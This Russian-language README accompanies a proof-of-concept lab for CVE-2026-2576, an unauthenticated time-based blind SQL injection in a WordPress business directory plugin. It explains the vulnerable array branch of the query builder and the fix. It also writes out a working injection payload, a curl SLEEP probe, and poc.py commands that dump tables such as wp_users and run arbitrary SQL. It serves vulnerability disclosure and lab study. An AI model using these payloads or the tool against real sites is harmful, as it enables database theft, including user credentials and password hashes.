
CVE-2026-2576 — SQLi PoC для плагина Business Directory (локальная настройка). Неаутентифицированная time-based blind SQL-инъекция в плагине Business Directory для WordPress ≤ 6.4.21
Неаутентифицированная time-based слепая SQL-инъекция
Плагин Business Directory для WordPress ≤ 6.4.21
| Поле | Детали |
|---|---|
| CVE | CVE-2026-2576 |
| Плагин | Business Directory Plugin – Easy Listing Directories for WordPress |
| Вендор | strategy11team |
| Затронуто | Все версии ≤ 6.4.21 |
| Исправлено | 6.4.22 |
| Тип | Time-based слепая SQL-инъекция (CWE-89) |
| Аутентификация | Не требуется — полностью неаутентифицированная |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Назначен | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| Раскрыто | 18 февраля 2026 г. |
Плагин Business Directory — широко используемый плагин WordPress для создания
каталогов-листингов с поддержкой платежей. Ошибка в его ORM-конструкторе запросов
позволяет неаутентифицированному атакующему выполнять time-based слепую SQL-инъекцию
через параметр запроса payment, что даёт возможность извлекать содержимое базы данных.
Уязвимость находится в ORM-конструкторе запросов:
Файл: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ УЯЗВИМО — нет санитизации, прямое склеивание строк
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ Безопасно — используется $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
Когда $v — скаляр, код корректно использует $wpdb->prepare(). Когда
$v — массив, он попадает в небезопасную ветку и склеивает значения
напрямую в SQL-строку без экранирования.
Контроллер оформления заказа (includes/controllers/pages/class-checkout.php)
считывает параметр запроса payment и передаёт его в ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id передаётся как значение
);
}
PHP автоматически преобразует payment[]=value в строке запроса в
массив $_GET['payment'] = ['value']. Это заставляет $v быть массивом в
filter_args(), что приводит к попаданию в небезопасную ветку.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← массив из-за нотации []
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → небезопасная ветка
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
Сгенерированный SQL:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
-- - закомментировывает завершающие '). IF() создаёт булев
оракул: когда условие ИСТИННО, срабатывает SLEEP(N) и ответ задерживается;
когда ЛОЖНО — ответ приходит немедленно.
Примечание: ORM выполняет запрос дважды за запрос (один раз в get(), один раз
в maybe_execute_query()), поэтому полезная нагрузка SLEEP(1) даёт ~2 секунды
наблюдаемой задержки, а SLEEP(2) — ~4 секунды.
Неаутентифицированный атакующий может извлекать содержимое базы данных посимвольно через time-based ответы, включая:
wp_users), имена пользователей, адреса электронной почты, хэши паролейИсправление в версии 6.4.22 добавляет санитизацию в ветку массива
filter_args():
// ДО (уязвимо)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// ПОСЛЕ (исправлено)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Установка зависимостей Python:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
Дождитесь появления:
╔══════════════════════════════════════════════════════════╗
║ Настройка лаборатории завершена! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Плагин: 6.4.21 (УЯЗВИМАЯ ВЕРСИЯ) ║
║ ID страницы BD: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# Ожидаемо: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# Доступ по адресу http://localhost:8082 (root / rootpass)
Все команды выполняются из корневого каталога лаборатории на вашем Kali-хосте.
Используйте http://localhost:8080 (проброс портов хост → Docker).
payment_key должен соответствовать существующей строке в wp_wpbdp_payments.
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
Ожидаемо: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 выполнения ORM)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"
| Флаг | По умолчанию | Примечания |
|---|---|---|
--sleep N | 1 | SLEEP(N) на оракул. ИСТИНА ≈ N×2s. Меньше = быстрее, но шумнее |
--threads N | 4 | Параллельные позиции символов. 8 хорошо работает на современном оборудовании |
# Самое быстрое извлечение
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8
# Базовый уровень: должен вернуться за < 0.1s
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"
# Sleep-проба: должен вернуться за ~4s (SLEEP(2) × 2 выполнения)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")"
Чтобы сравнить уязвимую версию с исправленной:
python3 poc/patch_diff.py
# Для полного сравнения
python3 poc/patch_diff.py --full
# Скачайте обе версии
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422
# Сравните уязвимый файл
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php
Сравнение покажет добавление esc_sql() в ветку массива в filter_args().
# Остановить лабораторию (сохраняет данные)
docker compose stop
# Перезапустить
docker compose start
# Полный снос — уничтожает все тома и данные
docker compose down -v
# Повторный запуск настройки с нуля
docker compose down -v && docker compose up setup
# Войти в контейнер WordPress
docker exec -it lab_wordpress bash
# Просмотр журнала ошибок PHP WordPress
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log
# Наблюдение за журналом запросов MySQL в реальном времени
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"
docker exec lab_mysql tail -f /tmp/mysql.log
$wpdb->prepare() — https://developer.wordpress.org/reference/classes/wpdb/prepare/Этот репозиторий предназначен только для авторизованных исследований в области безопасности и образовательных целей. Все тесты проводились в изолированной локальной лабораторной среде. Никогда не запускайте этот инструмент против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Несанкционированный доступ к компьютерным системам является незаконным в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичными законами в других юрисдикциях.
Автор не несёт ответственности за неправомерное использование этого материала. Всегда следуйте практике ответственного раскрытия — если вы обнаружите новые результаты на основе этого исследования, скоординируйте действия с вендором перед публикацией.
Исследовано и разработано в изолированной Docker-лаборатории на Kali Linux.